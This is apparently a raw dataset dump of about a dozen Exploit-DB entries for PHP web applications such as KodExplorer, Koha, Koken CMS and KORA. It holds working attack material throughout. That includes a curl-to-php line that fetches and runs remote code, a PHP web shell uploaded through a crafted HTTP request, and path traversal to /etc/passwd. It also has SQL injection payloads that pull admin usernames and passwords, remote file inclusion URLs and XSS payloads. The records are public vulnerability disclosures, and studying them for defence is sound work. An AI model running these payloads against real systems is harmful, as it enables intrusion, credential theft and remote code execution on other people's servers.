deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52245
Description: KodExplorer 4.52 - Open Redirect
Type: webapps
Platform: php
Date: 2025-04-16
Author: Rahad Chowdhury

Exploit:
# Exploit Title: KodExplorer 4.52 - Open Redirect
# Date: 2024-11-08
# Exploit Author: Rahad Chowdhury
# Vendor Homepage: https://kodcloud.com/
# Software Link: https://github.com/kalcaddle/KodExplorer/releases/tag/4.52
# Version: 4.52
# Tested on: Windows 10, PHP 8.2.4, Apache 2.4.56

*Steps to Reproduce:*

1. At first visit this url http://target.com/index.php?user/login&link=.
2. Then use any malicious url in link parameter.
3. your link will be look like:
http://target.com/index.php?user/login&link=https://{site}.com
4. login your account and you will redirect to malicious url.
Exploit-DB #51419
Description: KodExplorer v4.51.03 - Pwned-Admin File-Inclusion - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-05-05
Author: nu11secur1ty

Exploit:
## Title: KodExplorer v4.51.03 - Pwned-Admin File-Inclusion - Remote Code Execution (RCE)
## Author: nu11secur1ty
## Date: 04.30.2023
## Vendor: https://kodcloud.com/
## Software: https://github.com/kalcaddle/KodExplorer/releases/tag/4.51.03
## Reference: https://portswigger.net/web-security/file-upload

## Description:
By using this vulnerability remotely, the malicious pwned_admin can
list and manipulate all files inside the server. This is an absolutely
DANGEROUS and STUPID decision from the application owner! In this
scenario, the attacker prepares the machine for exploitation and sends
a link for remote execution by using the CURL protocol to his
supporter - another attacker. Then and he waits for execution from his
colleague, to mask his action or even more worst than ever. What a
nice hack is this! :)

STATUS: CRITICAL Vulnerability

[+]Exploit:
```CURL
curl -s https://pwnedhost.com/KodExplorer/data/User/pwnedadmin/home/desktop/BiggusDickus.php
| php
curl -s https://pwnedhost.com/KodExplorer/data/User/pwnedadmin/home/desktop/dealdir.php
| php

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/kalcaddle/2023/KodExplorerKodExplorer-4.51.03)

## Proof and Exploit:
[href](https://streamable.com/98npd0)

## Time spend:
01:15:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and
https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #37388
Description: Koha 3.20.1 - Directory Traversal
Type: webapps
Platform: php
Date: 2015-06-26
Author: Raschin Tavakoli_ Bernhard Garn_ Peter Aufner & Dimitris Simos

Exploit:
# Exploit Title: Koha Open Source ILS - Path Traversal in STAFF client
# Google Dork:
# Date: 25/06/2015
# Exploit Author: Raschin Tavakoli, Bernhard Garn, Peter Aufner and Dimitris Simos - Combinatorial Security Testing Group of SBA Research (cst@sba-research.org)
# Vendor Homepage: koha-community.org
# Software Link: https://github.com/Koha-Community/Koha
# Version: 3.20.x <= 3.20.1, 3.18.x <= 3.18.8, 3.16.x <= 3.16.12
# Tested on: Debian Linux
# CVE : CVE-2015-4632



### CVE-2015-4632 ### 

#### Titel: ####
Directory traversal

#### Type of vulnerability: ####
File Path Traversal

##### Exploitation vector:
Injecting into the "template_path" parmeter in /cgi-bin/koha/svc/members/search and /cgi-bin/koha/svc/members/search

##### Attack outcome:
Read access to arbitrary files on the system

#### Impact: ####
{low,medium,high,critical}
high

#### Software/Product name: ####
Koha

#### Affected versions: ####
* <= Koha 3.20.1
* <= Koha 3.18.8 
* <= Koha 3.16.12

#### Fixed in version: ####
* version 3.20.1 http://koha-community.org/security-release-koha-3-20-1/,
* version 3.18.8 http://koha-community.org/security-release-koha-3-18-8/, 
* version 3.16.12 http://koha-community.org/security-release-koha-3-16-12/

#### Vendor: ####
http://koha-community.org/ (Open Source)

#### CVE number: ####
CVE-2015-4632

#### Timeline ####
* `2015-06-18` identification of vulnerability 
* `2015-06-18` 1st contact to release maintainer, immediate reply
* `2015-06-23` new release with fixed vulnerabilities

#### Credits: ####
RGhanad-Tavakoli@sba-research.org
---
Vulnerability Disclosure by Combinatorial Security Testing Group of SBA Research.
Contact: cst@sba-research.org

#### References:
http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14408
http://koha-community.org/security-release-koha-3-20-1/
http://koha-community.org/security-release-koha-3-18-8/
http://koha-community.org/security-release-koha-3-16-12/

#### Description: ####
Multiple directory traversal vulnerabilities allow remote attackers to read arbitrary files via a .. (dot dot) in (1) /cgi-bin/koha/svc/virtualshelves/search and (2) in /cgi-bin/koha/svc/members/search 

#### Proof-of-concept: ####
/cgi-bin/koha/svc/virtualshelves/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

/cgi-bin/koha/svc/members/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
Exploit-DB #48706
Description: Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)
Type: webapps
Platform: php
Date: 2020-07-26
Author: V1n1v131r4

Exploit:
# Exploit Title: Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)
# Date: 2020-07-15
# Exploit Author: v1n1v131r4
# Vendor Homepage: http://koken.me/
# Software Link: https://www.softaculous.com/apps/cms/Koken
# Version: 0.22.24
# Tested on: Linux
# PoC: https://github.com/V1n1v131r4/Bypass-File-Upload-on-Koken-CMS/blob/master/README.md

The Koken CMS upload restrictions are based on a list of allowed file extensions (withelist), which facilitates bypass through the handling of the HTTP request via Burp.

Steps to exploit:

1. Create a malicious PHP file with this content:

   <?php system($_GET['cmd']);?>

2. Save as "image.php.jpg"

3. Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.

4. On Burp, rename your file to "image.php"


POST /koken/api.php?/content HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://target.com/koken/admin/
x-koken-auth: cookie
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]5551
Content-Length: 1043
Connection: close
Cookie: PHPSESSID= [Cookie value here]

----------------------------[PII_REDACTED][PII_REDACTED]5551
Content-Disposition: form-data; name="name"

image.php
----------------------------[PII_REDACTED][PII_REDACTED]5551
Content-Disposition: form-data; name="chunk"

0
----------------------------[PII_REDACTED][PII_REDACTED]5551
Content-Disposition: form-data; name="chunks"

1
----------------------------[PII_REDACTED][PII_REDACTED]5551
Content-Disposition: form-data; name="upload_session_start"
[PII_REDACTED]
----------------------------[PII_REDACTED][PII_REDACTED]5551
Content-Disposition: form-data; name="visibility"

public
----------------------------[PII_REDACTED][PII_REDACTED]5551
Content-Disposition: form-data; name="license"

all
----------------------------[PII_REDACTED][PII_REDACTED]5551
Content-Disposition: form-data; name="max_download"

none
----------------------------[PII_REDACTED][PII_REDACTED]5551
Content-Disposition: form-data; name="file"; filename="image.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']);?>

----------------------------[PII_REDACTED][PII_REDACTED]5551--



5. On Koken CMS Library, select you file and put the mouse on "Download File" to see where your file is hosted on server.
Exploit-DB #6310
Description: Kolifa.net Download Script 1.2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-26
Author: Kacak

Exploit:
Title: Kolifa.Net Download Script (indir.php)

================================================================

[+] Author : Kacak

[+] Special Thankz : Sa0 & Knock0ut & Biyocanlar & BilisimCanlar & All My Friends

[+] BuqX [at] Hotmail [dot] Com

[+] http://www.lmfrf.org/kolifanet-download-script-12-sql-injection-vulnerability/2008/08/26/web-script-bug/

=================================================================

Script : Kolifa.Net Download Script

Demo : http://kolifadwn.awardspace.com/down

Download : http://php.arsivimiz.com/indir.php?id=880

Google Dork : inurl:prog.php?dwkodu=

Error Code :  

<?php
//*****************************
//*****************************
//********** KOLÄ°FA ***********
//********** DOWNLOAD *********
//********** SCRÄ°PT ***********
//*****************************
//****** www.kolifa.net *******
//*****************************
ini_set('error_reporting', E_ALL^E_NOTICE);
include("ayarlar.php");
require('fonksiyon.php');
$baglanti = mysql_connect($dbhost,$dbkullanici,$dbsifre) or die("VeritabanÄ±na baÄŸlanÄ±lamadÄ±.");
$sec = mysql_select_db($db);
$dwkodu=strip_tags($_GET['id']);
$act=strip_tags($_GET['act']);
?>

---------------------------

Example : http://[Site]/indir.php?id=-1/**/union/**/select/**/concat(admin_adi,0x3a,admin_sifresi)/**/from/**/yonetici/

[<p>EÄŸer YÃ¼klenme Ä°ÅŸlemi BaÅŸlamazsa <a href="Username:Password">Buraya TÄ±klayÄ±n</a></td>]


###############################################################

< -- bug code start -- >

www.site.com/path/indir.php?id=-1/**/union/**/select/**/concat(admin_adi,0x3a,admin_sifresi)/**/from/**/yonetici/*

/path/indir.php?id=-1/**/union/**/select/**/concat(admin_adi,0x3a,admin_sifresi)/**/from/**/yonetici/*

< -- bug code end of -- >

# milw0rm.com [2008-08-26]
Exploit-DB #26911
Description: Komodo CMS 2.1 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15966/info

Komodo CMS is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

These issues affect Komodo CMS version 2.1; other versions may also be vulnerable. 

http://www.example.com/page.php?page=[SQL]
Exploit-DB #44753
Description: KomSeo Cart 1.3 - 'my_item_search' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-25
Author: AkkuS

Exploit:
# Exploit Title: KomSeo Cart 1.3 - 'edit.php' SQL Injection
# Dork: N/A
# Date: 25.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor: SITEMAKIN
# Vendor Homepage: https://sitemakin.com
# Version: 1.3
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands
from the user search section with 'my_item_search' parameter.
====================================================
# Demo : https://sitemakin.com/phpcart/
# PoC : SQLi :

https://test.com/phpcart/edit.php

POST /phpcart/edit.php HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://test.com/phpcart/edit.php
Cookie: PHPSESSID=9a04fe702b8ff82c1199590d7c286e1c;
_ga=GA1.2[PII_REDACTED][PII_REDACTED]; _gid=GA1.2[PII_REDACTED][PII_REDACTED]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
my_item_search=test&submit_search=Search


Parameter: my_item_search (POST)

    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: my_item_search=-5021' OR 3148=3148#&submit_search=Search

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
    Payload: my_item_search=test' AND (SELECT 8609 FROM(SELECT
COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT
(ELT(8609=8609,1))),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM
             INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--
voqa&submit_search=Search


====================================================
Exploit-DB #14809
Description: kontakt formular 1.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-08-26
Author: bd0rk

Exploit:
                ########################################################
                #                                                      #
                # HINNENDAHL.COM Kontakt Formular 1.1 (formmailer.php) #
                #                                                      #
                #       Remote File Inclusion Vulnerability            #
                #                                                      #
                #                 by bd0rk || SOH-Crew                 #                                     #                                                      #
                #                  www.soh-crew.it.tt                  #
                #                                                      #
                #            Contact: bd0rk[at]hackermail.com          #
                #                                                      #
                ########################################################


[~] Affected-Software: HINNENDAHL.COM Kontakt Formular 1.1

[~] Vendor: http://www.hinnendahl.com/

[~] Download: http://www.hinnendahl.com/index.php?seite=download

[*] Greetz: inj3ct0r, DNX, Chip D3 Bi0s


Description: The $script_pfad parameter in /kontaktformular/formmailer.php
             isn't declared before require. So an attacker can execute some
             php-shellcode about it. (line 2 - 3)



[+]Exploit: http://www.example.com/kontaktformular/formmailer.php?script_pfad=[Ev!LC0de]



### The 21 years old, german Hacker bd0rk ### <---white-hat :-)
Exploit-DB #4811
Description: kontakt formular 1.4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-30
Author: bd0rk

Exploit:
                   ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                   +                                                          +
                   + Kontakt Formular 1.4 Remote File Inclusion Vulnerability +
                   +                                                          +
                   +                  Discovered by bd0rk                     +
                   +                                                          +
                   ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



Vendor: http://www.mapos-scripts.de

Download: http://www.mapos-scripts.de/download,5.html

Vulnerable Code in /includes/function.php

-------------------------------------------------------------------

<?php
@session_start();

$datei_path = $datei_path ? $datei_path : $root_path."/index.php";
$datei_path = htmlentities($datei_path);
$kontakt_config=array();
include_once($root_path.'/includes/config.php');

-------------------------------------------------------------------

[+]Exploit: http://[target]/[path]/includes/function.php?root_path=[Shellcode]


Greetings: str0ke, TheJT, Luna-Tic, DNX


####The 19 years old german Hacker bd0rk####

Contact: bd0rk[at]hackermail.com

# milw0rm.com [2007-12-30]
Exploit-DB #10703
Description: kooora 3.0 - AR Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : kooora v 3.0 AR  Cross Site Scripting Vulnerability                     |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   :                                                                         |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : kooora v 3.0 AR                                                         |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://127.0.0.1/koooraf/view.php?show_today=1</title><ScRiPt%20%0d%0a>alert([PII_REDACTED]8860)%3B</ScRiPt>
| 2- http://127.0.0.1/koooraf/view.php?show_year=1<img+src=http://127.0.0.1/jpg.jpg+onload=alert([PII_REDACTED]8860)>&show_month=12
| 3- http://127.0.0.1/koooraf/view.php?team_s=1<img+src=http://127.0.0.1/jpg.jpg+onload=alert([PII_REDACTED]8860)>&show_month=12
| 4- http://127.0.0.1/koooraf/twg3at.php/>'><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
| 5- http://127.0.0.1/koooraf/view.php/>'><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
| 6- http://127.0.0.1:80/koooraf/view_players.php/>'><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #11965
Description: kora - Reinstall Admin Information
Type: webapps
Platform: php
Date: 2010-03-30
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : kora Reinstall Admin Information Vulnerability           
| # Author   : indoushka                                                                                                              
| # Home     : www.dz-blackhat.com                                                                                                                                                                                                                   
| # Tested on: Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Reinstall Admin Information                                                             
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 (Reinstall Admin Information):
 
     1- http://127.0.0.1/kora/install.php?go=3 
                        
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.m-y.cc * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
--------------------------------------------------------------------------------------------------------------
Exploit-DB #45613
Description: KORA 2.7.0 - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-15
Author: Ihsan Sencan

Exploit:
# Exploit Title: KORA 2.7.0 - SQL Injection
# Dork: N/A
# Date: 2018-10-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.matrix.msu.edu/
# Software Link: https://sourceforge.net/projects/kora/files/latest/download
# Version: 2.7.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/ajax/control.php?action=assocSearch&pid=1&sid=1&cid=[SQL]&keywords=1
# 
# (CASE WHEN (22=22) THEN 22 ELSE 1*(SELECT 22 FROM DUAL UNION SELECT 66 FROM DUAL) END)
# 
# 1)+UNION+ALL+SELECT+null,null,null,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-
# 
GET /[PATH]/ajax/control.php?action=assocSearch&pid=1&sid=1&cid=-1)+UNION+ALL+SELECT+null,null,null,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-&keywords=1 HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Fri, 13 Oct 2018 02:01:22 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=pa377tajtaocbeauhd67llk8l4; path=/
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 536
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
#